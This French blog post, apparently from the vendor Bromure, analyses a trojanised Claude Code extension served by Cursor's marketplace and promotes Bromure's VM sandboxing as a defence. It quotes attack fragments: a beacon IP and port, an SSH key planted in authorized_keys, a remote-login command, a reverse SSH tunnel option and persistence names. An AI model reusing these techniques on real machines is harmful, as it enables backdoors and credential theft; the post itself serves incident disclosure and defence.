La mise à jour a ajouté une clé
Pendant onze heures le 29 octobre, la marketplace d'extensions de Cursor a servi une extension Claude Code piégée, sous le nom d'éditeur d'Anthropic. Au chargement, elle ajoutait la clé SSH d'un attaquant, installait un LaunchAgent et tentait d'ouvrir un tunnel inverse, sur les machines de jusqu'à 5 000 développeurs. Dans Bromure Agentic Coding, l'agent ne vient pas d'une marketplace d'éditeur, et une charge comme celle-ci tourne dans une VM que personne ne peut joindre : son tunnel est refusé par le pare-feu sortant et sa persistance disparaît quand on rembobine le home.
Personne n'a eu à ouvrir une conversation ni à approuver un appel d'outil. L'éditeur a chargé l'extension, et 66 lignes de JavaScript ont tourné sous le compte du développeur avant le code de Claude Code lui-même.
Le 29 octobre, entre environ 2 h 27 et 13 h 35, heure du Pacifique, la
marketplace d'extensions de Cursor a servi une version piégée de
l'extension Claude Code d'Anthropic. L'avis de sécurité de
Cursor cite
les versions 2.1.312 et 2.1.313 de anthropic.claude-code, publiées sous
l'identité d'éditeur d'Anthropic, et précise qu'Anthropic ne les a pas
construites.
BleepingComputer
rapporte que jusqu'à 5 000 développeurs ont été exposés, et The Hacker
News
note que quiconque avait activé la mise à jour automatique a pu la recevoir
sans rien faire.
Les chercheurs de Phorion et d'OpenSourceMalware ont publié leurs analyses le 30 octobre. Cursor a retiré l'extension, fermé sa marketplace le temps de l'auditer et de faire tourner ses clés, et fait mettre hors ligne le serveur de l'attaquant. Personne n'a encore dit comment cette version a pu être publiée sous le nom d'Anthropic.
Ce que faisaient les 66 lignes
L'attaquant n'a pas touché au code de Claude Code : il a placé un chargeur
de 66 lignes devant, en tête de extension.js. OpenSourceMalware décrit le
schéma : « place a compact backdoor before a large legitimate bundle,
suppress errors, and let the expected application continue ». Le chargeur
s'exécutait quand l'éditeur chargeait l'extension et ouvrait sa webview. Le
développeur n'avait pas à lancer de conversation. Ensuite, la vraie
extension se chargeait et fonctionnait normalement.
Entre-temps, le chargeur :
- Faisait l'inventaire. Nom d'hôte, nom d'utilisateur, OS, répertoires
home et de travail, e-mail git global, IP publique, et les noms de
jusqu'à 40 variables d'environnement contenant
KEY,TOKEN,SECRET,PASS,AWSouGCP. Il envoyait le tout en JSON, en HTTP non chiffré, à134.209.82.225:8099/beacon. - Ajoutait une porte. Il ajoutait une clé Ed25519 portant le
commentaire
svc-telemetryà~/.ssh/authorized_keys. - Tentait de l'ouvrir. Sur macOS, il lançait
sudo -n systemsetup -setremotelogin on; sur Linux, il essayait de démarrersshd; sur Windows, il installait OpenSSH Server. - Appelait la maison. Il écrivait une clé privée dans un fichier
temporaire et se connectait à
[email protected]avec-N -R '*:0:localhost:22', un tunnel inverse qui renvoie un port du serveur de l'attaquant vers le port SSH du développeur. Il se reconnectait toutes les 60 secondes. - S'installait pour de bon. Un LaunchAgent utilisateur nommé
com.apple.sysmondsur macOS, une entrée crontab@rebootsur Linux, et une tâche planifiée appeléeSysMonsous Windows.
Selon BleepingComputer, des erreurs de code ont empêché SSH de s'activer
chez beaucoup de victimes. La clé, la persistance et la balise sont
arrivées sur ces machines quand même.
Cursor conseille de chercher la clé svc-telemetry, de supprimer la
persistance, d'envisager de reconstruire la machine, car désinstaller
l'extension peut ne pas suffire, et de faire tourner tous les identifiants
que la machine pouvait atteindre, « using a trusted system ».
Le code le plus digne de confiance de la machine
Une extension d'éditeur tourne avec le compte complet du développeur. Elle peut lire chaque fichier du home, lancer des processus et écrire un LaunchAgent qui survit à l'éditeur. Les marketplaces poussent les mises à jour sans demander, et le nom d'éditeur affiché sur celle-ci était celui d'Anthropic. Un développeur prudent qui avait vérifié l'éditeur avant d'installer a reçu la porte dérobée lui aussi : elle est arrivée sous forme de mise à jour d'une extension installée des semaines plus tôt.
Les agents de code font monter les enjeux. L'extension qui héberge l'agent est celle à qui les développeurs accordent le plus : elle lit tout le dépôt, exécute des commandes et vit dans un processus qui détient les clés d'API et les jetons cloud de l'environnement. Ce chargeur a relevé les noms de ces variables. Lire leurs valeurs demande les mêmes quelques lignes.
Le même matin dans Bromure Agentic Coding
Bromure Agentic Coding fait tourner Claude Code, Codex, Grok, Kimi et omp dans des VM Ubuntu sur votre Mac. Chaque machine est une VM à part, et l'agent, ses dépôts, ses installations de paquets et ses commandes vivent tous à l'intérieur. La conversation et les terminaux dans lesquels vous tapez sont dessinés par l'application sur votre Mac. Les vrais identifiants, le proxy par lequel passe le trafic de la VM et le journal de ce qui s'est passé restent aussi sur le Mac.
L'agent ne vient pas d'une marketplace d'éditeur
Il n'y a pas de marketplace d'extensions sur le chemin : Bromure dessine sa
propre fenêtre de conversation sur le Mac. Claude Code est installé dans
votre copie de l'image de base de Bromure par une étape de configuration
inscrite dans un catalogue signé avec la même clé que les mises à jour de
l'application Bromure. Cette étape installe @anthropic-ai/claude-code
depuis npm, à travers le scanner de chaîne d'approvisionnement de
Socket.dev. OpenSourceMalware range le paquet npm parmi les distributions
qui n'ont pas été touchées.
Tout ce que l'agent installe ensuite passe par le proxy sur le Mac, qui
applique la politique de chaîne d'approvisionnement de la machine. La
barrière d'âge est activée d'origine, avec un minimum de deux jours : les
versions npm, PyPI, Cargo, RubyGems et Packagist plus jeunes que cela sont
retirées de la liste du registre, si bien que latest désigne la version
la plus récente publiée depuis au moins deux jours. La version malveillante
de Cursor est restée en ligne onze heures. Une version détournée sur npm
avec la même durée de vie n'apparaît jamais dans une machine Bromure. Nous
avons détaillé ce cas avec la version PyPI empoisonnée de LiteLLM dans La
version avait deux heures.
La clé ouvre une porte que personne ne peut atteindre
Supposons qu'une charge comme celle-ci entre quand même dans une machine,
par un dépôt que l'agent clone ou un outil qu'il exécute. Elle tourne sous
Ubuntu, avec l'utilisateur de la machine. Elle n'obtient ni votre compte
macOS, ni votre Trousseau, ni le ~/.ssh de votre Mac.
Sa clé svc-telemetry va dans le propre authorized_keys de la VM. Les
machines sont sur un réseau privé interne à l'application : votre Mac peut
les joindre, votre réseau local physique non, et rien de l'extérieur ne
peut s'y connecter tant que vous ne publiez pas vous-même un service. La
seule voie d'entrée était le tunnel inverse.
Le tunnel ne s'ouvre jamais
Le tunnel exige une connexion SSH sortante vers 134.209.82.225, et la
balise du HTTP en clair vers le port 8099 de la même adresse. Chaque
connexion de la VM passe par le Mac, où s'applique le pare-feu
Outbound connections de la machine. Ses règles portent sur l'hôte, la
plage d'IP, le protocole et le port, et avec Unmatched traffic réglé
sur Deny, seuls les hôtes que vous avez listés passent. Une IP
DigitalOcean sur le port 22 ne figure sur la liste de personne. Le
pare-feu refuse le tunnel, chaque nouvelle tentative toutes les 60
secondes, et la balise.
Chaque refus apparaît dans la Security Timeline sur votre Mac, avec l'hôte, le port, le protocole et le verdict. Un refus vers la même IP chaque minute se remarque, et vous le voyez pendant que l'attaquant attend encore sa connexion.
L'inventaire ne vaut rien
La liste de noms de variables de la balise aurait trouvé de quoi faire dans
une machine Bromure : ANTHROPIC_API_KEY, un jeton GitHub, des réglages
AWS. Chaque valeur est un substitut. Les vrais identifiants sont chiffrés
sur le Mac, et le proxy ne remplace un substitut par sa vraie valeur que
dans les requêtes vers l'hôte auquel il appartient. Les clés privées SSH ne
sont pas du tout dans la VM. SSH_AUTH_SOCK est un pont vers le Mac qui
renvoie des signatures, et le ssh-agent de votre Mac n'est jamais exposé.
Un chargeur qui serait allé jusqu'à lire les valeurs aurait obtenu des
chaînes qu'aucun serveur n'accepte. S'il en avait envoyé une à son propre
serveur, le proxy aurait bloqué la requête, mis la VM en pause et affiché
This environment may have been compromised, en nommant l'identifiant
et la destination.
Le nettoyage prend une minute
Cursor dit aux développeurs touchés de supprimer la clé et la persistance,
d'envisager de reconstruire la machine et de faire tourner leurs
identifiants depuis un système de confiance. Dans Bromure, la
reconstruction tient en deux éléments de menu. Bromure garde un point de
contrôle copy-on-write du home de chaque machine à chaque démarrage.
Rewind home… ramène /home/ubuntu à un démarrage antérieur à
l'exécution de la charge, et emporte avec lui la clé en trop et le lanceur
~/.config/.smt. Reset disk reclone le disque système depuis l'image
de base et emporte la crontab. Les réglages, identifiants et clés SSH de la
machine survivent aux deux.
Le système de confiance que demande Cursor, c'est le Mac, qui n'a jamais exécuté la charge. Il n'y a rien à faire tourner, puisque la VM n'a jamais détenu un seul vrai identifiant.
Donnez au travail risqué sa propre machine
Les identifiants et les règles de pare-feu se règlent machine par machine,
et les machines ne coûtent rien à créer. Une machine qui essaie de nouveaux
outils, plugins et kits de démarrage peut n'avoir aucun identifiant de
production et un pare-feu qui refuse tout sauf ses registres de paquets. La
machine qui déploie garde ses identifiants, avec une approbation exigée
avant chaque utilisation. Pour une expérience ponctuelle,
bromure-cli vm run --rm crée une machine supprimée dès qu'elle s'arrête.
Pas de marketplace sur le chemin
La conversation fait partie de l'application. Claude Code vient du paquet npm d'Anthropic, par une étape de configuration signée, scannée par Socket.dev.
Deux jours avant toute nouveauté
La barrière d'âge masque les versions de paquets de moins de deux jours. Une version détournée qui vit onze heures n'est jamais résolue.
Une porte que personne ne peut atteindre
Une clé plantée atterrit dans le propre authorized_keys de la VM, sur un réseau privé auquel ni votre réseau local ni Internet ne peuvent se connecter.
Refuser l'hôte inconnu
Avec Unmatched traffic réglé sur Deny, le tunnel inverse et la balise sont refusés, et chaque tentative est enregistrée sur le Mac.
Des substituts dans la VM
Chaque clé d'API et chaque jeton de la VM est un substitut, et les clés privées SSH n'y entrent jamais. L'inventaire ne vaut rien.
Rembobiner plutôt que reconstruire
Rewind home et Reset disk suppriment les fichiers et la persistance de la charge. Réglages, identifiants et clés restent.
L'outil qui fait tourner l'agent fait partie de la surface d'attaque
Ni Cursor ni Anthropic n'ont dit comment cette version est sortie sous le nom d'Anthropic. Pour votre propre machine, l'incident tranche un point. Le logiciel qui héberge votre agent de code tourne avec votre compte et se met à jour tout seul, et un nom d'éditeur de confiance sur la mise à jour ne prouve rien sur son contenu.
Dans Bromure Agentic Coding, votre agent et tout ce qu'il touche tournent dans une VM sur votre Mac. Cette VM ne détient que des substituts, ne joint que les hôtes que vous autorisez, et peut être ramenée à un démarrage antérieur au moment où quelque chose a mal tourné. Les vraies clés ne quittent jamais le Mac.
Sur les voleurs d'identifiants qui collectent désormais les jetons et historiques des agents de code, lisez Ils ont ajouté votre agent à la liste. Sur une compromission partie du portable d'un développeur et arrivée à 6,3 milliards de dollars, lisez Le portable était la porte d'entrée.